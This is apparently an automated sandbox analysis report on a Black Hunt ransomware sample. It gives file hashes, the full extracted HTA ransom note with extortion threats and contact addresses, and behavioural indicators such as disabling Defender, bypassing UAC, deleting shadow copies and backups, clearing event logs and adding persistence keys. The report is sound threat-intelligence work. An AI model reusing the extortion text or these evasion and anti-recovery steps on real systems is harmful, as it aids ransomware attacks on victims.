de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25

Analysis

max time kernel
179s
max time network
207s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
19/01/2024, 01:08

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General

Target

de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Size

707KB
MD5

31b37b83804d77f81c043d287a022572
SHA1

3211a7e65f36760f1dd465bbb2452db1edea4f2e
SHA256

de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25
SHA512

8832e70da76994483a124d9fdbab39d16279f4502f7878eee64c72452435da8428827a9a6097d40ac60269a942c8db25c31d450943c3cbd2c5dbd7dff60f6e21
SSDEEP

6144:wcmwdMZ0aq9arLKkdMqJ+VYg/5ICAAQs+d5zSTamgEoOFzxLza158Svnh:6uaTmkZJ+naie5OTamgEoKxLWc8h

Score

10^/10

evasion persistence ransomware trojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note

<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="x-ua-compatible" content="ie=9"><meta charset="UTF-8"><HTA:APPLICATION icon="#" WINDOWSTATE="maximize" scroll="no" SELECTION="yes" contextmenu="no" caption="yes" SYSMENU="no" innerBorder="yes" SHOWINTASKBAR="yes" singleInstance="yes" /><meta name="viewport" content="width = device-width,initial-scale=1.0"><style>a,abbr,acronym,address,applet,article,aside,audio,b,big,blockquote,body,canvas,caption,center,cite,code,dd,del,details,dfn,div,dl,dt,em,embed,fieldset,figcaption,figure,footer,form,h1,h2,h3,h4,h5,h6,header,hgroup,html,i,iframe,img,ins,kbd,label,legend,li,mark,menu,nav,object,ol,output,p,pre,q,ruby,s,samp,section,small,span,strike,strong,sub,summary,sup,table,tbody,td,tfoot,th,thead,time,tr,tt,u,ul,var,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section{display:block}body{line-height:1}ol,ul{list-style:none}blockquote,q{quotes:none}blockquote:after,blockquote:before,q:after,q:before{content:'';content:none}table{border-collapse:collapse;border-spacing:0}</style><style>body,html{background-color:#dadada;font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;font-weight:600;font-size:16px}a{text-decoration:none;color:#0483ab}div.header{margin-top:15px;margin-bottom:5px;width:100%}div.header h1{width:97%;text-align:left;font-size:30px;font-weight:900;margin:auto}div.header h1 span#black{display:inline-block;color:#000;margin-right:0;padding:2px 2px}div.header h1 span#hunter{display:inline-block;color:#e90303;background-color:#000;padding:2px 8px;margin-left:0}div.header h1 span#hunter span#version{font-size:12px}div.message div.head-encrypted-msg{width:100%}div.message div.head-encrypted-msg h1{font-size:330%;width:97%;margin:auto;text-align:center;font-weight:700}div.message div.head-encrypted-msg h1 span{display:inline-block;color:#000;background-color:#e90303;padding:0 8px 0 8px;margin-right:3px}div.message div.head-attention-msg{width:97%;margin:auto;text-align:center;margin-top:1%;border:1px solid #e90303;background-color:#f1caca;border-radius:5px;font-size:250%;padding-top:10px;padding-bottom:10px}div.message div.head-attention-msg p{margin-bottom:.5%}div.message div.head-attention-msg p span{color:#e90303}div.content{margin:auto;margin-top:2%}div.content div.content-head-msg{font-size:32px;text-align:left;font-weight:600}div.content div.content-boxes{margin:auto;margin-top:2%}div.content div.box{width:96%;margin:auto;border-radius:5px;margin-bottom:30px}div.content div.content-left-box{background-color:#c5cfd8;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #1878cf}div.content div.content-left-box h3.left-box-title{background-color:#1878cf;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-left-box div.content-contact-directly *{font-weight:600!important;line-height:1.4em}div.content div.content-left-box div.content-contact-directly h4{font-size:24px;font-weight:500;margin-top:8px}div.content div.content-left-box div.content-contact-directly h4#tox{font-weight:600;display:inline-block;margin-left:3px}div.content div.content-left-box div.content-contact-directly div.tox-id{margin-left:6%}div.content div.content-left-box div.content-contact-directly h4#tox-id{font-size:24px}div.content div.content-left-box div.content-contact-directly p#tox-id-p{font-size:16px}div.content div.content-left-box div.content-contact-directly h4#download-tox{display:inline-block;margin-left:6%}div.content div.content-left-box div.content-contact-directly p#download-tox-p{display:inline-block}div.content div.content-left-box div.content-contact-directly h4#email{display:inline-block;font-weight:600;margin-left:3px}div.content div.content-left-box div.content-contact-directly p#email-p{display:inline-block;font-size:24px;margin-left:8px}div.content div.content-left-box div.content-contact-directly h4#user-id{font-weight:500;margin-left:3px}div.content div.content-left-box div.content-contact-directly h4#user-id span{color:#e90303}div.content div.content-left-box div.content-contact-tor{margin-top:50px;font-weight:600!important}div.content div.content-left-box div.content-contact-tor h3{font-size:24px}div.content div.content-left-box div.content-contact-tor h3 span{color:#e90303}div.content div.content-left-box div.content-contact-tor div.content-tor-inside{margin-left:6;margin-top:10px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p{margin-top:8px}div.content div.content-left-box div.content-contact-tor div.content-tor-inside p img{position:relative;bottom:-3px}div.content div.content-right-box{background-color:#efb0b0;padding:40px 0 40px 20px;font-size:24px;position:relative;border-left:15px solid #e90303}div.content div.content-right-box h3.right-box-title{background-color:#e90303;display:inline-block;padding:10px 10px;border-radius:5px;color:#fff;position:absolute;top:-22px;margin-left:auto;margin-right:auto;left:0;right:0;width:20%;text-align:center}div.content div.content-right-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p{color:#000;font-size:22px;font-weight:600;margin-top:9px;line-height:1.4em}div.content div.content-left-box p span{color:#e90303;font-weight:700;font-size:24px}</style><title>Black Hunt</title></head><body><div class="header"><h1><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAIMAAAAWCAYAAADjNi+WAAAACXBIWXMAAC4jAAAuIwF4pT92AAALpWlUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4gPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNi4wLWMwMDIgNzkuMTY0NDYwLCAyMDIwLzA1LzEyLTE2OjA0OjE3ICAgICAgICAiPiA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPiA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtbG5zOmRjPSJodHRwOi8vcHVybC5vcmcvZGMvZWxlbWVudHMvMS4xLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0RXZ0PSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VFdmVudCMiIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczpwaG90b3Nob3A9Imh0dHA6Ly9ucy5hZG9iZS5jb20vcGhvdG9zaG9wLzEuMC8iIHhtbG5zOnRpZmY9Imh0dHA6Ly9ucy5hZG9iZS5jb20vdGlmZi8xLjAvIiB4bWxuczpleGlmPSJodHRwOi8vbnMuYWRvYmUuY29tL2V4aWYvMS4wLyIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHhtcDpDcmVhdGVEYXRlPSIyMDIyLTEwLTEzVDEyOjMyOjAyKzAzOjMwIiB4bXA6TWV0YWRhdGFEYXRlPSIyMDIzLTA0LTA3VDA0OjIxOjI1KzA0OjMwIiB4bXA6TW9kaWZ5RGF0ZT0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgZGM6Zm9ybWF0PSJpbWFnZS9wbmciIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6NGRiOTQ5OGItYTg5Mi0yMTRjLTliYzgtZTZlMDM3ZTYzYmJkIiB4bXBNTTpEb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6ZGVlODIyNjgtMDA3Ni0wNDQ2LWFjMGEtMzk2OTY3MzA0YTdjIiB4bXBNTTpPcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQyMWY2MmY3ZWI1IiBwaG90b3Nob3A6Q29sb3JNb2RlPSIzIiBwaG90b3Nob3A6SUNDUHJvZmlsZT0ic1JHQiBJRUM2MTk2Ni0yLjEiIHRpZmY6T3JpZW50YXRpb249IjEiIHRpZmY6WFJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6WVJlc29sdXRpb249IjMwMDAwMDAvMTAwMDAiIHRpZmY6UmVzb2x1dGlvblVuaXQ9IjIiIGV4aWY6Q29sb3JTcGFjZT0iMSIgZXhpZjpQaXhlbFhEaW1lbnNpb249IjQ0OSIgZXhpZjpQaXhlbFlEaW1lbnNpb249Ijg5Ij4gPHhtcE1NOkhpc3Rvcnk+IDxyZGY6U2VxPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0iY3JlYXRlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDoyNzIzMDY2Ny1kMzRkLWUyNGYtYmU1NS0wNDIxZjYyZjdlYjUiIHN0RXZ0OndoZW49IjIwMjItMTAtMTNUMTI6MzI6MDIrMDM6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIvPiA8cmRmOmxpIHN0RXZ0OmFjdGlvbj0ic2F2ZWQiIHN0RXZ0Omluc3RhbmNlSUQ9InhtcC5paWQ6NzU5MzVkMTMtYjM0OS02ZTRiLWIwODctYzc5ZTJmZGNiNzgwIiBzdEV2dDp3aGVuPSIyMDIyLTEwLTEzVDEyOjMyOjE0KzAzOjMwIiBzdEV2dDpzb2Z0d2FyZUFnZW50PSJBZG9iZSBQaG90b3Nob3AgMjEuMiAoV2luZG93cykiIHN0RXZ0OmNoYW5nZWQ9Ii8iLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249InNhdmVkIiBzdEV2dDppbnN0YW5jZUlEPSJ4bXAuaWlkOmJiMmZiMmMyLWRjNDUtMzE0Yy1iMmQxLWRjNzFlZGUwNWJlYSIgc3RFdnQ6d2hlbj0iMjAyMy0wNC0wN1QwNDoyMToyNSswNDozMCIgc3RFdnQ6c29mdHdhcmVBZ2VudD0iQWRvYmUgUGhvdG9zaG9wIDIxLjIgKFdpbmRvd3MpIiBzdEV2dDpjaGFuZ2VkPSIvIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJjb252ZXJ0ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImZyb20gYXBwbGljYXRpb24vdm5kLmFkb2JlLnBob3Rvc2hvcCB0byBpbWFnZS9wbmciLz4gPHJkZjpsaSBzdEV2dDphY3Rpb249ImRlcml2ZWQiIHN0RXZ0OnBhcmFtZXRlcnM9ImNvbnZlcnRlZCBmcm9tIGFwcGxpY2F0aW9uL3ZuZC5hZG9iZS5waG90b3Nob3AgdG8gaW1hZ2UvcG5nIi8+IDxyZGY6bGkgc3RFdnQ6YWN0aW9uPSJzYXZlZCIgc3RFdnQ6aW5zdGFuY2VJRD0ieG1wLmlpZDo0ZGI5NDk4Yi1hODkyLTIxNGMtOWJjOC1lNmUwMzdlNjNiYmQiIHN0RXZ0OndoZW49IjIwMjMtMDQtMDdUMDQ6MjE6MjUrMDQ6MzAiIHN0RXZ0OnNvZnR3YXJlQWdlbnQ9IkFkb2JlIFBob3Rvc2hvcCAyMS4yIChXaW5kb3dzKSIgc3RFdnQ6Y2hhbmdlZD0iLyIvPiA8L3JkZjpTZXE+IDwveG1wTU06SGlzdG9yeT4gPHhtcE1NOkRlcml2ZWRGcm9tIHN0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6YmIyZmIyYzItZGM0NS0zMTRjLWIyZDEtZGM3MWVkZTA1YmVhIiBzdFJlZjpkb2N1bWVudElEPSJhZG9iZTpkb2NpZDpwaG90b3Nob3A6YTU3NzljMGQtYzI3Zi05ZjQ2LWJmMjgtYjQ2MzIzZjQ5ZjQxIiBzdFJlZjpvcmlnaW5hbERvY3VtZW50SUQ9InhtcC5kaWQ6MjcyMzA2NjctZDM0ZC1lMjRmLWJlNTUtMDQy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 " alt=""></h1></div><div class="message"><div class="head-encrypted-msg"><h1>YOUR<span>WHOLE NETWORK</span>HAS BEEN PENETRATED BY<span>Black Hunt</span>!</h1></div><div class="head-attention-msg"><p>We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation!</p><p><span>Restore your data possible only buying private key from us</span></p></div></div><div class="content"><div class="content-boxes"><div class="content-right-box box"><h3 class="right-box-title">ATTENTION</h3><p>remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time</p><p>trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders</p><p>we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums</p><p></p><p>Remain all of your files untouched, do not change their name, extension and...</p></div><div class="content-left-box box"><h3 class="left-box-title">CONTACT US</h3><p>Your system is offline. in order to contact us you can email this address<span> [email protected] </span>this ID (<span> 9T3HLCp7hRyO9ZFA </span>) for the title of your email.</p><p>If you weren't able to contact us whitin 24 hours please email:<span> [email protected] </span></p><p>Check your data situation in<a href="#"><span> http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion </span></a></p></div></div></div></body></html>

Emails

[email protected]

URLs

http-equiv="x-ua-compatible"

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

Deletes NTFS Change Journal 2 TTPs 2 IoCs

The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

ransomware

Inhibit System Recovery

T1490

Data Destruction

T1485

pid	Process
5608	fsutil.exe
2700	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	Conhost.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	Conhost.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe

Clears Windows event logs 1 TTPs 5 IoCs

evasion ransomware

Indicator Removal

T1070

pid	Process
6060	wevtutil.exe
3440	wevtutil.exe
5384	wevtutil.exe
3924	wevtutil.exe
3464	wevtutil.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
5568	bcdedit.exe
5576	bcdedit.exe
732	bcdedit.exe
416	bcdedit.exe

Renames multiple (128) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 2 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
5552	wbadmin.exe
2236	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\International\Geo\Nation	cmd.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe

Enumerates connected drives 3 TTPs 27 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\B:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\I:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\O:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\H:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\M:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\T:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\U:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\K:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\V:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\P:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\A:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\L:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\N:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\Q:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\G:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\X:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\M:	fsutil.exe
File opened (read-only)	\??\F:	fsutil.exe
File opened (read-only)	\??\W:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\Y:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\S:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\J:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened (read-only)	\??\Z:	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
28	ip-api.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3336304223-2978740688-3645194410-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\#BlackHunt_BG.jpg"	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\Java\jdk-1.8\include\win32\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\7-Zip\Lang\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\lv.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\dtplugin\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\sk.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cy.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\#BlackHunt_ReadMe.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\cs.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mk.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\amd64\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\jvmticmlr.h	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\include\win32\bridge\AccessBridgeCallbacks.h	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\dotnet\swidtag\#BlackHunt_ReadMe.hta	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File opened for modification	C:\Program Files\7-Zip\Lang\it.txt	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\Java\jdk-1.8\include\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
File created	C:\Program Files\dotnet\host\#BlackHunt_Private.key	de71678a5d247feea8d9145bb835c0cb1e12e9133c5d5fec7295b7198d85fa25.exe
